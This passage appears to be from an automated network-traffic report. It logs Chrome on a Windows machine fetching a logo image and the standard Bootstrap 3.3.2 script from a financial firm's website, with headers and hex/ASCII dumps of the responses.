14 12 b9 4f bf ca 8e 25 13 87 8f 12 41 a7 d9 71 c3 b4 fa 60 da 79 02 91 99 40 79 53 dc Data Ascii: #qn9rWj+@wDD\|6+/j]<fP '1+,^8s0kn2)1q1MA0/ipTSw,@B.&TbFCt&s{A'n%'a8tVt(/'#a"Tet5Bo,xVe7MqeB9V2/NFOO%Aq`y@yS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49770	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	634	OUT	GET /wp-content/uploads/2023/04/BFJ_Updated_Logo_3.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17382 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "644a3549-43e6" last-modified: Thu, 27 Apr 2023 08:41:45 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-ewr18176-EWR, cache-ewr18170-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.382294,VS0,VE62 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fd 00 00 00 96 08 06 00 00 01 62 01 be f3 00 00 43 ad 49 44 41 54 78 5e ed 9d 07 5c 55 47 fa f7 af ba 49 36 6d 37 5b de 6d c9 ee 7f b3 29 bb e9 31 3d d1 18 d3 35 89 bd 22 60 c1 de 45 04 15 3b 36 2c d8 51 51 b1 81 a2 62 41 51 c1 de 2b 4d 05 15 a4 17 a5 0b 08 58 c1 df fb 3c 33 e7 70 cf bd 5c 50 4c 44 c2 3d 5f 3e c3 29 f7 9c 39 33 f3 cc 33 e5 9c 99 79 0c 78 c4 3c 70 00 96 1d db af ec 01 0b 8f ec 15 ee 41 78 a0 00 18 9c 7b c0 30 bc 17 0c 43 3a 8b e3 fe eb 57 8a 63 e7 1d 1b c5 71 55 78 f0 00 0c ed 2a f6 b7 87 9f 14 db 6a 0f 80 0a 3f 98 b1 5b bd 08 c3 b6 fb 8b fd aa f0 60 01 18 6c 2f b6 b6 f4 d0 9f cb 03 67 42 e6 c3 99 e3 70 f3 e6 0d 94 de be 8d af 3c dd ab 4f 04 2a 22 23 6a dc 83 f0 b3 02 f0 4b 50 16 00 Data Ascii: PNGIHDRbCIDATx^\UGI6m7[m)1=5"`E;6,QQbAQ+MX<3p\PLD=_>)933yx<pAx{0C:WcqUxj?[`l/gBp<O"#jKP
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 71 3f cb 9d 89 bc a4 f8 f4 70 78 28 09 c0 d9 3a 36 49 66 f1 34 e5 9b 6e 4d e5 a1 e5 80 35 bb 65 0d c2 70 b5 fa af 96 fd c5 fe 1f a8 46 f1 0f 3e 84 7a ca 77 e8 3b 77 6e a3 ef c4 85 f8 b6 d7 28 14 5f bf 41 c7 f2 9b 43 8f 49 0b c5 6b bc c7 1b d9 e1 1f 4d 7a e0 f5 36 03 e0 30 7e 1e 5a 50 35 d6 7e a4 ec 2f a4 65 64 8b ed cf 41 2f 03 94 ad d5 62 d5 09 a0 47 be 3a 28 2a 2a b4 38 aa 2f e8 4c 68 d9 27 66 76 8b 8e ec 53 7e 79 f8 54 4b e4 af df bc 69 d2 bf bf 90 22 db f3 2a 86 c1 9a 97 a4 ec 86 c9 ce d0 c3 a6 5a 22 1f 96 14 6f 1a 39 72 47 2f 46 2a bf 4a 0c c3 7b 9a fc 5e 1d 3c 92 c8 33 76 ab 4c 07 38 c6 5c 4e 29 77 cd c3 a6 da 23 af 0e 25 63 0c 03 65 a3 47 45 bc 08 ad b5 91 57 46 14 ab f0 f1 f8 6d eb 95 23 20 84 7a 79 b5 36 f2 5a 5e 9f 3a 52 46 d4 a5 a7 72 46 52 3b Data Ascii: q?px(:6If4nM5epF>zw;wn(_ACIkMz60~ZP5~/edA/bG:(*8/Lh'fvS~yTKi"Z"o9rG/F*J{^<3vL8\N)w#%ceGEWFm# zy6Z^:RFrFR;
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 9b 55 97 e6 58 6a ab 57 15 5d e7 ad 15 3d f2 d6 8a 55 47 de da d1 85 6f c5 d4 3a e1 bb 6c 59 6b 3a 0b 98 dc d3 2e bd a8 e9 54 79 0f ff 4f 23 7a 9b dc 53 ce 0d ed 8a b6 8b e5 d7 88 da 42 ad 12 7e 48 62 9c c9 ec e7 72 ce b1 0b 76 2b 0b bb 58 22 29 e3 8a c9 d0 30 4b 6e 48 35 cd 94 ac 0e 6a 95 f0 c5 20 a8 4a 84 df 78 ee 64 2c da 1f 24 c6 02 66 5e ad 78 76 c8 13 9a a9 f1 e6 ae ba 66 8a 57 07 d6 21 7c b3 75 0f 98 67 5d fb e1 d5 49 ce ca 51 79 5e 9c ec 52 de 1f 72 ba f0 6b 28 96 84 df a5 92 35 5d 07 f8 af 2a bf 32 88 86 e7 c7 0f 35 f1 8b 9d 2e fc 1a 8a 89 f0 9d bb 63 ff 79 e3 a0 40 73 0c 83 ed 8c 42 1d 64 3a 24 5c 8b 79 1b 40 17 7e 0d a5 4c f8 e4 0e 5c 38 a7 9c 35 25 24 ee 52 d9 4a 2f 5a f7 dc f0 de ca 15 92 bc fc 3c ac 09 39 86 06 b3 27 88 8c 64 18 d2 05 ff 71 Data Ascii: UXjW]=UGo:lYk:.TyO#zSB~Hbrv+X")0KnH5j Jxd,$f^xvfW!\|ug]IQy^Rrk(5]*25.cy@sBd:$\y@~L\85%$RJ/Z<9'dq
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 32 b9 2e 46 82 72 dc 52 19 fd ba 70 ff 4e 94 94 94 e0 98 66 55 c5 1d d1 51 e0 a5 23 5e 99 30 54 1c cf de 66 34 e3 bc 3d f4 84 d8 f2 44 67 5e a4 fc 42 4a 22 5a d0 73 99 4d c7 65 9d d6 6d d5 42 b1 8d a2 df b4 a8 8b 97 ab 9c 49 4f c3 1d 65 c6 36 cf 22 b7 55 fc 61 a6 05 07 20 21 33 1d bb 35 63 01 78 71 73 ed 24 e9 1b 54 cf fb 29 1f 77 d2 f3 72 85 91 c5 43 4a 3c 7a ae 91 0d df 3f 8f ea 2f 66 85 4f df 22 27 5e b5 f5 94 eb 80 44 26 cb aa c7 4e 99 bc dd 4d 59 60 dd 75 8d 3c 16 94 dc c5 a1 24 59 3d f0 04 6b e6 44 4a 02 7a ad 5e 2c f6 dd 0f 05 8b ed e4 6d b2 91 1b ff 80 26 2e 99 9f 25 fc 0e 24 4c 9e 1e ef 79 68 b7 30 85 bb f6 f4 51 1c 8e 8b c6 4c 65 f5 f6 85 fb 76 e2 04 45 64 9e b2 c2 fc cc 40 7f 44 5e 49 45 4f 65 56 3b 4f a3 5f 79 e2 10 96 1d 3f 20 a6 dc f3 ac f6 Data Ascii: 2.FrRpNfUQ#^0Tf4=Dg^BJ"ZsMemBIOe6"Ua !35cxqs$T)wrCJ<z?/fO"'^D&NMY`u<$Y=kDJz^,m&.%$Lyh0QLevEd@D^IEOeV;O_y?
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 7c 61 09 97 30 95 ea 7f b1 92 26 d7 f5 d4 05 74 50 66 f1 d6 06 6a a5 e0 37 86 18 87 48 6b d9 ce 2f 67 84 20 79 a9 54 d2 7a 36 a0 44 7d 7c 71 4c 5a 2f de da f5 6e 0b 43 df f6 e2 37 5e 1a dd 79 eb ba 32 63 db b5 89 da 27 78 12 58 45 d4 21 21 db 2b 73 d3 55 f8 b3 2d 2f 91 ce 2e 2d 2b 03 37 35 16 d2 6b 33 b5 4e f0 df 2a 73 d6 cd e1 05 0f 58 a3 75 24 b5 4a f0 75 b8 51 97 68 79 5a d3 9f c7 0e 42 93 45 72 75 2a 9d 5a 26 78 ae af 2d 71 97 d7 be 1b 68 8b 94 9c da b7 c8 f1 83 52 ab 04 ff 8f 71 72 ae 9c 39 2b 0e ed c1 6f 2a e9 b2 dd 0f b9 05 f9 e8 af 2c b1 52 1b a8 55 82 ef eb 5f 7e 3d 39 e6 ed e9 a3 45 6b ff 19 72 3f 2e 9d 8d 15 07 77 21 22 29 1e 59 85 05 28 a1 ae 9b ca 9d 5b b7 50 78 fd 3a 2e 51 43 6f 5b e8 09 d8 fa 7a e1 15 1e 9c 31 98 5a ff dc f2 d7 fb f1 35 93 Data Ascii: \|a0&tPfj7Hk/g yTz6D}\|qLZ/nC7^y2c'xXE!!+sU-/.-+75k3NsXu$JuQhyZBEruZ&x-qhRqr9+o*,RU_~=9Ekr?.w!")Y([Px:.QCo[z1Z5
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 31 d7 a1 cc bd 04 ff df 8e e5 05 df d6 71 32 0c af 7c 2f f6 45 51 cf 99 f3 7f 3f 0a 81 b3 79 d6 4e 4a f5 64 78 b7 25 5a 50 11 af 45 58 c0 24 c1 cf 59 b5 59 64 0a 4b 82 ef 39 61 7e 59 51 af a6 83 28 3d a9 da 48 a1 92 c2 9c fb 2a ea 4f b1 cd 55 12 56 44 d4 a5 0a 8b fa 43 24 70 c6 77 c7 01 f1 f0 f4 2b d2 5a 95 ca 19 a5 a8 8f bd 57 51 4f 82 57 8d 08 be 44 1a 6f a0 b6 06 67 34 16 fc 8d 9b 54 fc 72 64 28 b1 84 05 49 b6 24 49 19 e9 b7 4a 1d ac 46 98 09 3a 78 52 08 92 ef 2d 2b ea 49 78 1c 2f 6d bb a0 59 7f b9 44 8a 56 f0 8b d7 ef 14 61 e2 04 15 cf 79 ab b9 10 54 2f 4a 5c 86 05 ff 79 37 a3 71 41 73 d6 53 63 8c 33 ed 98 f9 ab 95 33 40 8f 31 54 82 28 02 13 1a 4f 71 c8 cc c8 14 61 e7 0c c9 55 1a f3 ff be a3 ba 99 d2 40 5b 35 bc 6f e7 2c d2 94 ed e6 ba 79 f9 09 a5 51 Data Ascii: 1q2\|/EQ?yNJdx%ZPEX$YYdK9a~YQ(=H*OUVDC$pw+ZWQOWDog4Trd(I$IJF:xR-+Ix/mYDVayT/J\y7qAsSc33@1T(OqaU@[5o,yQ
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 69 3a 3e 43 c5 1c 6b 83 8b ff 2a 1c 49 b8 84 0d ca c2 05 2d 3c a7 e1 22 69 77 6b 65 6a 33 4f 6f 62 3e 9b 2e ed ba 31 13 fd 8d 6f bf 78 98 33 c3 4b 95 31 7f 71 ee 29 b6 21 e4 bf 7f f8 49 04 9c 0b c5 55 4d 31 6d 49 f0 4d 16 ce 10 db 89 81 fe 62 6e 3c bb 65 87 76 e3 52 c6 65 51 0d b9 6d f7 47 f1 2d e3 1c 79 73 c1 2f a0 cc 72 3a 29 0e 33 77 c8 d5 b2 a6 d0 f5 11 97 53 d0 65 a9 34 72 b8 e5 8c 1c 91 cb 2b 64 06 92 60 af dd b8 4e 99 21 1c fe 14 e7 74 2a b2 d3 ae e6 8a fd a5 87 f6 20 97 32 0b 0b ce fb c8 3e 9c 52 56 e4 68 a6 b1 81 ff f6 1c 69 5f af df 46 99 06 86 de ed c4 76 37 a5 fd 1e aa 82 d6 9d 3e 42 25 81 71 0a 58 55 f8 e5 1b 77 e6 39 b0 d4 6c bd 31 b3 df 6f 69 12 f9 5e 5c cc aa 9a 61 7d 8f c3 d2 c0 60 55 d1 6a d1 d3 63 07 2a 7b 1a cc e2 70 57 f3 0a f8 97 24 Data Ascii: i:>CkI-<"iwkej3Oob>.1ox3K1q)!IUM1mIMbn<evReQmG-ys/r:)3wSe4r+d`N!t 2>RVhi_Fv7>B%qXUw9l1oi^\a}`Ujc*{pW$
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 55 6e dd bc 81 b6 5e 1e b2 06 b7 e4 ff fd 38 56 fc c1 9d e1 79 c0 68 46 41 a7 66 a0 2b 7d 0d 25 2c 29 9e 94 be f7 cf ab 71 1d bb e2 af ae fd b0 5b b3 12 65 55 e0 96 c6 13 dc ca 78 d0 30 0c b0 81 f3 0e e3 e2 82 3a 35 03 5d e9 6b 28 3f 5b e9 9d ba e1 93 e9 a3 f0 e7 31 03 45 53 fb b5 89 ce 88 4a 36 5d d4 f1 7e b8 9a 9f 87 77 dc 5d a9 00 e9 62 f9 39 95 39 5d e9 6b 24 ba d2 d7 50 1e 58 e9 87 74 c6 6b 53 46 20 2e c3 38 57 73 78 80 9f 7c d1 46 7d fe e6 4b 66 09 23 17 55 e2 ee 5d 38 ac 5e 54 f5 e6 be ae f4 35 12 5d e9 6b 28 55 56 7a e7 ee d4 14 ef 8e 6d 61 27 14 1f 4c c9 bf 56 80 af e6 4e 12 8a ff 94 73 4f ec 38 2b 57 e4 ad 0a 13 b6 fb cb c2 c3 d2 f3 2d 39 5d e9 6b 24 ba d2 d7 50 aa a4 f4 54 03 b7 59 32 5b ac f6 70 2f 16 1f dc 25 bf 08 90 f2 77 a5 da db 7c 19 91 Data Ascii: Un^8VyhFAf+}%,)q[eUx0:5]k(?[1ESJ6]~w]b99]k$PXtkSF .8Wsx\|F}Kf#U]8^T5]k(UVzma'LVNsO8+W-9]k$PTY2[p/%w\|
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: bb 77 ee 20 2d 23 1b a1 51 97 70 36 26 01 69 99 39 74 b2 92 34 32 8b bb 65 ca 5f 23 fe 57 18 e6 aa ad 91 a8 a5 4a 4a 3f 7b d5 66 18 fe f7 23 0c ef b6 92 ee cd e6 46 f7 4e 4b b1 fd 7d 23 3b 2c dd 64 1c 33 9e 95 99 8d 97 9a f5 86 e1 b5 66 30 d4 6f 0d c3 db 74 dd 5b 74 fd 5b 2d 8c ee e5 26 78 e1 a7 de c8 c9 ce 15 f7 38 4d 5b 4c e7 be 27 ff f8 77 ba 96 ef e1 7b df 68 8e bf 7e db 0d 89 49 69 e2 ba 8a 08 bb 70 09 86 0f da d1 7d 74 bf 78 a6 e2 8f f6 99 2f 7d 8f bf 35 ef 27 ae df 73 3a 8a c2 4f e7 3e e9 40 e1 fc 11 33 d6 6e 17 e7 6f dd b8 81 cf ba 38 cb 38 53 dc 9e fd dc 16 47 4f 5b 98 f5 56 52 82 26 03 dc 60 78 a5 09 0c ff fe 06 3d a7 2d 53 7e 30 25 2b e7 2a 5e 6a d9 5f 3c c3 f0 0e a5 1f 3d 73 53 f0 21 e5 57 53 4e 47 46 c3 f0 7e 5b 19 f6 d7 7f c2 fb 9d 9c c4 fd Data Ascii: w -#Qp6&i9t42e_#WJJ?{f#FNK}#;,d3f0ot[t[-&x8M[L'w{h~Iip}tx/}5's:O>@3no88SGO[VR&`x=-S~0%+*^j_<=sS!WSNGF~[
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 2d 53 7a ca 10 a2 c6 a2 6b 44 33 53 eb a8 49 f3 d5 c0 c9 ca 1d e5 79 60 a5 a7 30 8a 67 8a 66 9f e6 79 9c 88 d4 64 9e e6 2d 97 67 de 7d fa 1e 4a cf d7 53 b8 fd 77 ec c3 d1 d0 48 25 c3 93 60 a9 c6 68 3b 6c 1a 6e 5d bf 0e 9b 91 a4 64 15 28 fd c8 d9 cb 65 66 a2 70 7c 40 35 6a 09 d5 0e cc d8 45 7e a8 a3 34 15 df a1 e6 6a 5e be b1 c9 5b a6 f4 ac cc 5f 53 97 26 25 0d 53 96 ae 93 fe 28 25 bb f7 86 9d 48 a5 fe 64 1d ae 65 f9 3a 52 fa 33 74 df 8d c2 a2 b2 34 37 bc d9 0c ae 5e e5 95 b0 32 2a 53 fa 8b b1 09 f8 f3 d7 5d e8 79 1d 50 ef a3 76 58 1f 74 50 9c 4f 20 99 3c f7 ad 83 cc f0 14 cf b5 db 65 4b 4f e5 e7 2a 7d 1e b5 5c 5e 6c 43 dd 14 56 40 92 a1 27 b5 18 2b 62 21 55 40 1d 46 ce 22 37 1b fe 41 32 2f e6 e4 18 95 be 0e c5 eb 1d 7b 17 b4 74 99 8e 1f 86 4e c5 8f 8e 53 Data Ascii: -SzkD3SIy`0gfyd-g}JSwH%`h;ln]d(efp\|@5jE~4j^[_S&%S(%Hde:R3t47^2S]yPvXtPO <eKO}\^lCV@'+b!U@F"7A2/{tNS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:56 UTC	570	OUT	GET /wp-content/themes/x-child/js/bootstrap.min.js HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:56 UTC	727	IN	HTTP/1.1 200 OK Connection: close Content-Length: 37489 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: application/javascript x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5926c31d-9271" last-modified: Thu, 25 May 2017 11:42:21 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:56 GMT X-Served-By: cache-ewr18149-EWR, cache-ewr18180-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867696.401200,VS0,VE102 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 33 2e 32 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 35 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 0a 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 42 6f 6f 74 73 74 72 61 70 27 73 20 4a 61 76 61 53 63 72 69 70 74 20 72 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 22 Data Ascii: /! Bootstrap v3.3.2 (http://getbootstrap.com) * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery"
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 62 5d 2e 63 61 6c 6c 28 63 29 7d 29 7d 76 61 72 20 63 3d 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 61 6c 65 72 74 22 5d 27 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 61 28 62 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 63 2c 74 68 69 73 2e 63 6c 6f 73 65 29 7d 3b 64 2e 56 45 52 53 49 4f 4e 3d 22 33 2e 33 2e 32 22 2c 64 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 44 55 52 41 54 49 4f 4e 3d 31 35 30 2c 64 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 67 2e 64 65 74 61 63 68 28 29 2e 74 72 69 67 67 65 72 28 22 63 6c 6f 73 65 64 2e 62 73 2e 61 6c 65 72 74 22 29 2e 72 65 6d 6f 76 65 28 29 7d 76 61 72 20 65 3d 61 28 74 68 69 73 29 2c 66 3d 65 2e 61 74 74 72 28 22 64 61 74 61 2d 74 61 72 Data Ascii: b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.2",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-tar
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 3d 3d 62 3f 28 74 68 69 73 2e 69 73 4c 6f 61 64 69 6e 67 3d 21 30 2c 64 2e 61 64 64 43 6c 61 73 73 28 63 29 2e 61 74 74 72 28 63 2c 63 29 29 3a 74 68 69 73 2e 69 73 4c 6f 61 64 69 6e 67 26 26 28 74 68 69 73 2e 69 73 4c 6f 61 64 69 6e 67 3d 21 31 2c 64 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 63 29 2e 72 65 6d 6f 76 65 41 74 74 72 28 63 29 29 7d 2c 74 68 69 73 29 2c 30 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 21 30 2c 62 3d 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 63 6c 6f 73 65 73 74 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 62 75 74 74 6f 6e 73 22 5d 27 29 3b 69 66 28 62 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 63 3d 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 66 69 6e 64 28 22 Data Ascii: ==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 29 2c 74 68 69 73 2e 24 69 6e 64 69 63 61 74 6f 72 73 3d 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 66 69 6e 64 28 22 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 64 69 63 61 74 6f 72 73 22 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 69 73 2e 70 61 75 73 65 64 3d 74 68 69 73 2e 73 6c 69 64 69 6e 67 3d 74 68 69 73 2e 69 6e 74 65 72 76 61 6c 3d 74 68 69 73 2e 24 61 63 74 69 76 65 3d 74 68 69 73 2e 24 69 74 65 6d 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 6b 65 79 62 6f 61 72 64 26 26 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 6f 6e 28 22 6b 65 79 64 6f 77 6e 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 6b 65 79 64 6f 77 6e 2c 74 68 69 73 29 29 2c 22 68 6f 76 65 Data Ascii: s.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hove
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 76 65 3d 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 66 69 6e 64 28 22 2e 69 74 65 6d 2e 61 63 74 69 76 65 22 29 29 3b 72 65 74 75 72 6e 20 61 3e 74 68 69 73 2e 24 69 74 65 6d 73 2e 6c 65 6e 67 74 68 2d 31 7c 7c 30 3e 61 3f 76 6f 69 64 20 30 3a 74 68 69 73 2e 73 6c 69 64 69 6e 67 3f 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 6f 6e 65 28 22 73 6c 69 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 62 2e 74 6f 28 61 29 7d 29 3a 63 3d 3d 61 3f 74 68 69 73 2e 70 61 75 73 65 28 29 2e 63 79 63 6c 65 28 29 3a 74 68 69 73 2e 73 6c 69 64 65 28 61 3e 63 3f 22 6e 65 78 74 22 3a 22 70 72 65 76 22 2c 74 68 69 73 2e 24 69 74 65 6d 73 2e 65 71 28 61 29 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 70 61 75 73 65 3d 66 75 6e 63 74 69 6f 6e 28 62 Data Ascii: ve=this.$element.find(".item.active"));return a>this.$items.length-1\|\|0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 68 5d 2e 6a 6f 69 6e 28 22 20 22 29 29 2e 61 64 64 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2c 65 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5b 22 61 63 74 69 76 65 22 2c 68 5d 2e 6a 6f 69 6e 28 22 20 22 29 29 2c 69 2e 73 6c 69 64 69 6e 67 3d 21 31 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 2e 24 65 6c 65 6d 65 6e 74 2e 74 72 69 67 67 65 72 28 6d 29 7d 2c 30 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 63 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 44 55 52 41 54 49 4f 4e 29 29 3a 28 65 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2c 66 2e 61 64 64 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 2c 74 68 69 73 2e 73 6c 69 64 69 6e 67 3d 21 31 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e Data Ascii: h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.
2024-04-11 20:34:56 UTC	1378	IN	Data Raw: 65 6e 64 28 7b 7d 2c 64 2e 44 45 46 41 55 4c 54 53 2c 63 29 2c 74 68 69 73 2e 24 74 72 69 67 67 65 72 3d 61 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 74 72 69 67 67 65 72 29 2e 66 69 6c 74 65 72 28 27 5b 68 72 65 66 3d 22 23 27 2b 62 2e 69 64 2b 27 22 5d 2c 20 5b 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 27 2b 62 2e 69 64 2b 27 22 5d 27 29 2c 74 68 69 73 2e 74 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 70 61 72 65 6e 74 3f 74 68 69 73 2e 24 70 61 72 65 6e 74 3d 74 68 69 73 2e 67 65 74 50 61 72 65 6e 74 28 29 3a 74 68 69 73 2e 61 64 64 41 72 69 61 41 6e 64 43 6f 6c 6c 61 70 73 65 64 43 6c 61 73 73 28 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2c 74 68 69 73 2e 24 74 72 69 67 67 65 72 29 2c 74 68 69 73 2e 6f 70 Data Ascii: end({},d.DEFAULTS,c),this.$trigger=a(this.options.trigger).filter('[href="#'+b.id+'"], [data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.op
